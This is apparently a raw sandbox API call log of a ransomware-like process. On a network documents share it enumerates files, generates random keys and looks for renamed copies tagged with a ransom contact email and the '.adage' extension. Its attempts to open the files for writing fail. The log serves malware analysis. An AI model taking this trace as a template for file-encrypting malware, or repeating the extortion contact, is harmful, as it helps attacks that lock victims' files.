WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.717] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.717] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.717] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.842] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0139.842] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LgQIok5RNh.mp4" (normalized: "\\\\192.168.0.1\\documents\\lgqiok5rnh.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.122] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=61847) returned 1 [0140.122] CloseHandle (hObject=0x2b0) returned 1 [0140.122] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LgQIok5RNh.mp4" (normalized: "\\\\192.168.0.1\\documents\\lgqiok5rnh.mp4")) returned 0x80 [0140.123] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LgQIok5RNh.mp4.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\lgqiok5rnh.mp4.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.124] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\LgQIok5RNh.mp4" (normalized: "\\\\192.168.0.1\\documents\\lgqiok5rnh.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.331] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0140.331] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZcPV3qk7PkeQOKKV.xls" (normalized: "\\\\192.168.0.1\\documents\\zcpv3qk7pkeqokkv.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.347] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=41773) returned 1 [0140.347] CloseHandle (hObject=0x2b0) returned 1 [0140.347] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZcPV3qk7PkeQOKKV.xls" (normalized: "\\\\192.168.0.1\\documents\\zcpv3qk7pkeqokkv.xls")) returned 0x80 [0140.348] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZcPV3qk7PkeQOKKV.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\zcpv3qk7pkeqokkv.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.348] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZcPV3qk7PkeQOKKV.xls" (normalized: "\\\\192.168.0.1\\documents\\zcpv3qk7pkeqokkv.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.472] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0140.473] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EOk7P095P.xls" (normalized: "\\\\192.168.0.1\\documents\\eok7p095p.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.567] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=45496) returned 1 [0140.567] CloseHandle (hObject=0x2b0) returned 1 [0140.567] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EOk7P095P.xls" (normalized: "\\\\192.168.0.1\\documents\\eok7p095p.xls")) returned 0x80 [0140.567] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EOk7P095P.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\eok7p095p.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.567] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EOk7P095P.xls" (normalized: "\\\\192.168.0.1\\documents\\eok7p095p.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.612] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0140.613] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ow3Vle4.swf" (normalized: "\\\\192.168.0.1\\documents\\ow3vle4.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.649] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=85881) returned 1 [0140.649] CloseHandle (hObject=0x2b0) returned 1 [0140.650] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ow3Vle4.swf" (normalized: "\\\\192.168.0.1\\documents\\ow3vle4.swf")) returned 0x80 [0140.650] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ow3Vle4.swf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ow3vle4.swf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.650] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ow3Vle4.swf" (normalized: "\\\\192.168.0.1\\documents\\ow3vle4.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.671] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0140.671] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RBkxpRf3.m4a" (normalized: "\\\\192.168.0.1\\documents\\rbkxprf3.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.691] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=93952) returned 1 [0140.692] CloseHandle (hObject=0x2b0) returned 1 [0140.692] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RBkxpRf3.m4a" (normalized: "\\\\192.168.0.1\\documents\\rbkxprf3.m4a")) returned 0x80 [0140.692] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RBkxpRf3.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\rbkxprf3.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.692] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RBkxpRf3.m4a" (normalized: "\\\\192.168.0.1\\documents\\rbkxprf3.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.724] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0140.724] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\dPc6HLBDbx19XugtWM.jpg" (normalized: "\\\\192.168.0.1\\documents\\dpc6hlbdbx19xugtwm.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.732] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=91860) returned 1 [0140.732] CloseHandle (hObject=0x2b0) returned 1 [0140.732] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\dPc6HLBDbx19XugtWM.jpg" (normalized: "\\\\192.168.0.1\\documents\\dpc6hlbdbx19xugtwm.jpg")) returned 0x80 [0140.733] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\dPc6HLBDbx19XugtWM.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\dpc6hlbdbx19xugtwm.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.733] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\dPc6HLBDbx19XugtWM.jpg" (normalized: "\\\\192.168.0.1\\documents\\dpc6hlbdbx19xugtwm.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.762] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0140.762] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3QVfoNUquygvYJYnxL.m4a" (normalized: "\\\\192.168.0.1\\documents\\3qvfonuquygvyjynxl.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.781] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=34621) returned 1 [0140.781] CloseHandle (hObject=0x2b0) returned 1 [0140.781] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3QVfoNUquygvYJYnxL.m4a" (normalized: "\\\\192.168.0.1\\documents\\3qvfonuquygvyjynxl.m4a")) returned 0x80 [0140.781] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3QVfoNUquygvYJYnxL.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\3qvfonuquygvyjynxl.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.781] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3QVfoNUquygvYJYnxL.m4a" (normalized: "\\\\192.168.0.1\\documents\\3qvfonuquygvyjynxl.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.839] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0140.839] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\xxTfgN.jpg" (normalized: "\\\\192.168.0.1\\documents\\xxtfgn.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.849] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=93088) returned 1 [0140.849] CloseHandle (hObject=0x2b0) returned 1 [0140.849] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\xxTfgN.jpg" (normalized: "\\\\192.168.0.1\\documents\\xxtfgn.jpg")) returned 0x80 [0140.850] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\xxTfgN.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\xxtfgn.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.850] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\xxTfgN.jpg" (normalized: "\\\\192.168.0.1\\documents\\xxtfgn.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.866] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0140.866] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IBowTJ.csv" (normalized: "\\\\192.168.0.1\\documents\\ibowtj.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0140.874] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=73082) returned 1 [0140.874] CloseHandle (hObject=0x2b0) returned 1 [0140.874] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IBowTJ.csv" (normalized: "\\\\192.168.0.1\\documents\\ibowtj.csv")) returned 0x80 [0140.874] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IBowTJ.csv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ibowtj.csv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0140.875] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IBowTJ.csv" (normalized: "\\\\192.168.0.1\\documents\\ibowtj.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.981] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0140.981] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2cHgIoncB.wav" (normalized: "\\\\192.168.0.1\\documents\\2chgioncb.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0141.001] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=53946) returned 1 [0141.001] CloseHandle (hObject=0x2b0) returned 1 [0141.001] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2cHgIoncB.wav" (normalized: "\\\\192.168.0.1\\documents\\2chgioncb.wav")) returned 0x80 [0141.001] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2cHgIoncB.wav.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\2chgioncb.wav.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.002] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\2cHgIoncB.wav" (normalized: "\\\\192.168.0.1\\documents\\2chgioncb.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.080] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0141.080] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\8AEDnDa.avi" (normalized: "\\\\192.168.0.1\\documents\\8aednda.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0141.113] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=85126) returned 1 [0141.113] CloseHandle (hObject=0x2b0) returned 1 [0141.113] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\8AEDnDa.avi" (normalized: "\\\\192.168.0.1\\documents\\8aednda.avi")) returned 0x80 [0141.114] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\8AEDnDa.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\8aednda.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.114] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\8AEDnDa.avi" (normalized: "\\\\192.168.0.1\\documents\\8aednda.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.137] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0141.137] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Oul9aMfiTm6Pt28KJ.xls" (normalized: "\\\\192.168.0.1\\documents\\oul9amfitm6pt28kj.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0141.161] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=97231) returned 1 [0141.161] CloseHandle (hObject=0x2b0) returned 1 [0141.162] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Oul9aMfiTm6Pt28KJ.xls" (normalized: "\\\\192.168.0.1\\documents\\oul9amfitm6pt28kj.xls")) returned 0x80 [0141.162] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Oul9aMfiTm6Pt28KJ.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\oul9amfitm6pt28kj.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.162] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Oul9aMfiTm6Pt28KJ.xls" (normalized: "\\\\192.168.0.1\\documents\\oul9amfitm6pt28kj.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.186] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0141.186] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WDBM7MBYaR.mp3" (normalized: "\\\\192.168.0.1\\documents\\wdbm7mbyar.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0141.201] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=64559) returned 1 [0141.201] CloseHandle (hObject=0x2b0) returned 1 [0141.201] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WDBM7MBYaR.mp3" (normalized: "\\\\192.168.0.1\\documents\\wdbm7mbyar.mp3")) returned 0x80 [0141.201] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WDBM7MBYaR.mp3.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\wdbm7mbyar.mp3.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.201] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WDBM7MBYaR.mp3" (normalized: "\\\\192.168.0.1\\documents\\wdbm7mbyar.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.232] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0141.232] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\UrfjPtip.xlsx" (normalized: "\\\\192.168.0.1\\documents\\urfjptip.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0141.253] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=97255) returned 1 [0141.253] CloseHandle (hObject=0x2b0) returned 1 [0141.253] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\UrfjPtip.xlsx" (normalized: "\\\\192.168.0.1\\documents\\urfjptip.xlsx")) returned 0x80 [0141.254] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\UrfjPtip.xlsx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\urfjptip.xlsx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.254] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\UrfjPtip.xlsx" (normalized: "\\\\192.168.0.1\\documents\\urfjptip.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.295] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0141.295] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ry23qi7rroS58F.m4a" (normalized: "\\\\192.168.0.1\\documents\\ry23qi7rros58f.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0141.306] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=55081) returned 1 [0141.306] CloseHandle (hObject=0x2b4) returned 1 [0141.306] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ry23qi7rroS58F.m4a" (normalized: "\\\\192.168.0.1\\documents\\ry23qi7rros58f.m4a")) returned 0x80 [0141.307] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ry23qi7rroS58F.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ry23qi7rros58f.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0141.307] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ry23qi7rroS58F.m4a" (normalized: "\\\\192.168.0.1\\documents\\ry23qi7rros58f.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.800] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0141.800] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\kiZ0JG9WrlZl.ppt" (normalized: "\\\\192.168.0.1\\documents\\kiz0jg9wrlzl.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0142.481] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=72701) returned 1 [0142.481] CloseHandle (hObject=0x228) returned 1 [0142.481] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\kiZ0JG9WrlZl.ppt" (normalized: "\\\\192.168.0.1\\documents\\kiz0jg9wrlzl.ppt")) returned 0x80 [0142.481] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\kiZ0JG9WrlZl.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\kiz0jg9wrlzl.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0142.481] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\kiZ0JG9WrlZl.ppt" (normalized: "\\\\192.168.0.1\\documents\\kiz0jg9wrlzl.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.509] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0142.509] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3lJ1cmsj7wnHDKlL1.xls" (normalized: "\\\\192.168.0.1\\documents\\3lj1cmsj7wnhdkll1.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0142.526] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=79461) returned 1 [0142.526] CloseHandle (hObject=0x228) returned 1 [0142.526] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3lJ1cmsj7wnHDKlL1.xls" (normalized: "\\\\192.168.0.1\\documents\\3lj1cmsj7wnhdkll1.xls")) returned 0x80 [0142.526] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3lJ1cmsj7wnHDKlL1.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\3lj1cmsj7wnhdkll1.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0142.527] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\3lJ1cmsj7wnHDKlL1.xls" (normalized: "\\\\192.168.0.1\\documents\\3lj1cmsj7wnhdkll1.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.639] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x30dfbf0 | out: pbBuffer=0x30dfbf0) returned 1 [0142.639] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\P3XntTjRFtRk.png" (normalized: "\\\\192.168.0.1\\documents\\p3xnttjrftrk.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0143.250] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x30dfb88 | out: lpFileSize=0x30dfb88*=54529) returned 1 [0143.250] CloseHandle (hObject=0x228) returned 1 [0143.251] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\P3XntTjRFtRk.png" (normalized: "\\\\192.168.0.1\\documents\\p3xnttjrftrk.png")) returned 0x80 [0143.260] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\P3XntTjRFtRk.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\p3xnttjrftrk.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0143.260] 